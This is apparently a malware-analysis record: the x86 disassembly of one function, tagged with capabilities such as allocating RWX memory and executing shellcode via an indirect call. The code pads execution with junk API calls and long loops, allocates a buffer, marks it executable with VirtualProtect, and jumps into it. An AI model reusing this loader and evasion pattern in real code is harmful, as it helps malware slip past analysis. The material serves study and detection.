Function at 0x4024c4
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get common file path
Get file attributes

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x425f2f
push eax
mov dword fs:[0], esp
sub esp, 0xcc8
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_lstrlenW]
push 0x327f328
call edi
xor ebx, ebx
mov esi, 0x434388
cmp eax, 0x280a7
jne 0x4025e6
push str.baxot
push str.Cezuhinina_nigefim__f
push esi
call fcn.004061f4
add esp, 0xc
push 0x42b6df
push esi
call fcn.004060f9
push 0x30
push 0x42b738
push 0x42b73c
push esi
call fcn.004060f9
add esp, 0x18
lea eax, [esp + 0x30]
push eax
call fcn.00402cb4
push 0x42b744
lea ecx, [esp + 0x18]
mov dword [esp + 0xce0], ebx
call fcn.00402854
lea eax, [esp + 0x14]
push eax
lea eax, [esp + 0x34]
mov byte [esp + 0xce0], 1
call fcn.00402d38
lea ecx, [esp + 0x14]
mov byte [esp + 0xcdc], bl
call fcn.004028a9
push 0x42b748
lea ecx, [esp + 0x18]
call fcn.00402854
lea eax, [esp + 0x14]
push eax
lea eax, [esp + 0x34]
mov byte [esp + 0xce0], 2
call fcn.00402d38
lea ecx, [esp + 0x14]
mov byte [esp + 0xcdc], bl
call fcn.004028a9
lea eax, [esp + 0xc]
push eax
lea eax, [esp + 0x34]
call fcn.00402d1d
lea eax, [esp + 0x48]
push eax
call fcn.00402d88
lea eax, [esp + 0x48]
call fcn.004027fa
or dword [esp + 0xcdc], 0xffffffff
lea eax, [esp + 0x30]
push eax
call fcn.00402cf0
push 0x327f328
call edi
cmp eax, 0x35d85
jne 0x402695
cmp dword [0x3299cfc], 0x1286
jne 0x40261a
push ebx
push ebx
call sub.KERNEL32.dll_SetSystemPowerState
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
call dword [sym.imp.KERNEL32.dll_GetOEMCP]
cmp dword [0x3299cfc], 0xa95
jne 0x402634
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_HeapWalk]
call dword [sym.imp.KERNEL32.dll_GetVersion]
push ebx
push 0x27d0c10a
call fcn.0040642b
push 0x38
push str.Zoh_cegobires
push str._s__c
push esi
call fcn.004060f9
add esp, 0x18
lea eax, [esp + 0x48]
push eax
call fcn.004034e0
push ecx
mov dword [esp + 0xce0], 3
mov dword [esp], ebx
call fcn.00401e1b
fstp st(0)
push ecx
push ecx
mov eax, esp
mov dword [eax], ebx
mov dword [eax + 4], ebx
call fcn.00401df8
fstp st(0)
or dword [esp + 0xcdc], 0xffffffff
lea eax, [esp + 0x48]
call fcn.0040280f
mov eax, dword [0x4335c0]
mov dword [0x3299cfc], eax
mov eax, 0xb2d3b
add dword [0x3299cfc], eax
xor esi, esi
cmp esi, 0x656289
jne 0x4026c4
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov dword [0x327e474], eax
inc esi
cmp esi, 0x66d056
jl 0x4026ac
xor esi, esi
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetCalendarInfoW]
cmp esi, 0xd03868
jle 0x4026f7
cmp dword [esp + 0xc], 0x751a9b28
je 0x4026f7
cmp dword [esp + 0xc], 0x12692ae3
jne 0x402709
inc esi
mov eax, esi
cdq
cmp edx, 0xd
jl 0x4026cf
jg 0x402709
cmp eax, 0x4fe89cbd
jb 0x4026cf
push dword [0x3299cfc]
mov eax, dword [0x42f8f0]
push ebx
mov dword [0x3299d00], eax
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
xor ecx, ecx
mov dword [0x327e470], eax
cmp dword [0x3299cfc], ebx
jbe 0x40273d
call fcn.0040249f
inc ecx
cmp ecx, dword [0x3299cfc]
jb 0x40272f
xor esi, esi
cmp esi, 0x1a89
jne 0x402760
lea eax, [esp + 0xc]
push eax
push 0x40
push dword [0x3299cfc]
push dword [0x327e470]
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
inc esi
cmp esi, 0xfdca
jl 0x40273f
call fcn.00402454
mov esi, 0xea7bb
cmp dword [0x3299cfc], 0x3b3
jne 0x40278d
push ebx
call dword [sym.imp.KERNEL32.dll_HeapUnlock]
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
dec esi
jne 0x402773
cmp dword [0x3299cfc], 0xde6
jne 0x4027c4
push ebx
push ebx
lea eax, [esp + 0x4d8]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpynW]
push ebx
lea eax, [esp + 0xd4]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CommConfigDialogA]
cmp esi, 0x156cae
jne 0x4027d6
mov eax, dword [0x327e470]
mov dword [0x327f31c], eax
inc esi
cmp esi, 0x24c129
jl 0x402790
call dword [0x327f31c]
mov ecx, dword [esp + 0xcd4]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret